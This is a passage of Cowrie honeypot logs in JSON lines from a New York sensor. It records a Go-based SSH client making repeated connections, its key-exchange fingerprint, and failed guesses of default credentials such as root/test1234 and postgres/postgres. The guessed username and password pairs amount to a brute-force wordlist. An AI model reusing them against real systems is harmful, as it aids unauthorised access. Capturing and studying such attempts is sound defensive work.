521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:21.082990Z","src_ip":"192.109.200.237","session":"13715b9fc8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:21.328974Z","src_ip":"192.109.200.237","session":"13715b9fc8a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47784,"dst_ip":"10.17.0.5","dst_port":23,"session":"03b48c4c5e2a","protocol":"telnet","message":"New connection: 50.6.8.71:47784 (10.17.0.5:23) [session: 03b48c4c5e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:21.802778Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:22.413551Z","src_ip":"192.109.200.237","session":"13715b9fc8a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45626,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ac2f22aa807","protocol":"ssh","message":"New connection: 192.109.200.237:45626 (159.203.135.109:22) [session: 6ac2f22aa807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:24.510294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:24.678689Z","src_ip":"192.109.200.237","session":"6ac2f22aa807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:24.682589Z","src_ip":"192.109.200.237","session":"6ac2f22aa807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:25.024793Z","src_ip":"192.109.200.237","session":"6ac2f22aa807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:26.111236Z","src_ip":"192.109.200.237","session":"6ac2f22aa807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45640,"dst_ip":"159.203.135.109","dst_port":22,"session":"dae7c1ecee5a","protocol":"ssh","message":"New connection: 192.109.200.237:45640 (159.203.135.109:22) [session: dae7c1ecee5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:28.356743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:28.365837Z","src_ip":"192.109.200.237","session":"dae7c1ecee5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:28.449172Z","src_ip":"192.109.200.237","session":"dae7c1ecee5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:28.696556Z","src_ip":"192.109.200.237","session":"dae7c1ecee5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:29.782987Z","src_ip":"192.109.200.237","session":"dae7c1ecee5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36154,"dst_ip":"159.203.135.109","dst_port":22,"session":"d408f4c227aa","protocol":"ssh","message":"New connection: 192.109.200.237:36154 (159.203.135.109:22) [session: d408f4c227aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:31.790169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:31.795137Z","src_ip":"192.109.200.237","session":"d408f4c227aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:32.001569Z","src_ip":"192.109.200.237","session":"d408f4c227aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:32.274570Z","src_ip":"192.109.200.237","session":"d408f4c227aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:33.359607Z","src_ip":"192.109.200.237","session":"d408f4c227aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36216,"dst_ip":"159.203.135.109","dst_port":22,"session":"2effe4f563a6","protocol":"ssh","message":"New connection: 192.109.200.237:36216 (159.203.135.109:22) [session: 2effe4f563a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:35.546194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:35.554474Z","src_ip":"192.109.200.237","session":"2effe4f563a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:35.636611Z","src_ip":"192.109.200.237","session":"2effe4f563a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:35.883857Z","src_ip":"192.109.200.237","session":"2effe4f563a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:37.074972Z","src_ip":"192.109.200.237","session":"2effe4f563a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36236,"dst_ip":"159.203.135.109","dst_port":22,"session":"77744dd78867","protocol":"ssh","message":"New connection: 192.109.200.237:36236 (159.203.135.109:22) [session: 77744dd78867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:39.004696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:39.009931Z","src_ip":"192.109.200.237","session":"77744dd78867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:39.173628Z","src_ip":"192.109.200.237","session":"77744dd78867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:39.465106Z","src_ip":"192.109.200.237","session":"77744dd78867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.39551568031311,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:39.815979Z","src_ip":"50.6.8.71","session":"8ef2b7d866af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:40.551964Z","src_ip":"192.109.200.237","session":"77744dd78867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37992,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1a85f0bbda3","protocol":"ssh","message":"New connection: 192.109.200.237:37992 (159.203.135.109:22) [session: f1a85f0bbda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:42.859488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:42.864306Z","src_ip":"192.109.200.237","session":"f1a85f0bbda3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:42.946504Z","src_ip":"192.109.200.237","session":"f1a85f0bbda3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:43.194555Z","src_ip":"192.109.200.237","session":"f1a85f0bbda3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:44.279580Z","src_ip":"192.109.200.237","session":"f1a85f0bbda3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51672,"dst_ip":"10.17.0.5","dst_port":23,"session":"a948a2d57cab","protocol":"telnet","message":"New connection: 50.6.8.71:51672 (10.17.0.5:23) [session: a948a2d57cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:45.894237Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38008,"dst_ip":"159.203.135.109","dst_port":22,"session":"41d0a123b6e3","protocol":"ssh","message":"New connection: 192.109.200.237:38008 (159.203.135.109:22) [session: 41d0a123b6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:46.339363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:46.344327Z","src_ip":"192.109.200.237","session":"41d0a123b6e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:46.426493Z","src_ip":"192.109.200.237","session":"41d0a123b6e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:46.672322Z","src_ip":"192.109.200.237","session":"41d0a123b6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.00684857368469,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:47.361489Z","src_ip":"50.6.8.71","session":"b4b70b53b2ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:47.756891Z","src_ip":"192.109.200.237","session":"41d0a123b6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.876997709274292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:49.396051Z","src_ip":"50.6.8.71","session":"785a3012469b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.07833790779114,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:49.467905Z","src_ip":"50.6.8.71","session":"7de87a29de37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38022,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d47db45fb39","protocol":"ssh","message":"New connection: 192.109.200.237:38022 (159.203.135.109:22) [session: 7d47db45fb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:49.907018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:49.911163Z","src_ip":"192.109.200.237","session":"7d47db45fb39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@op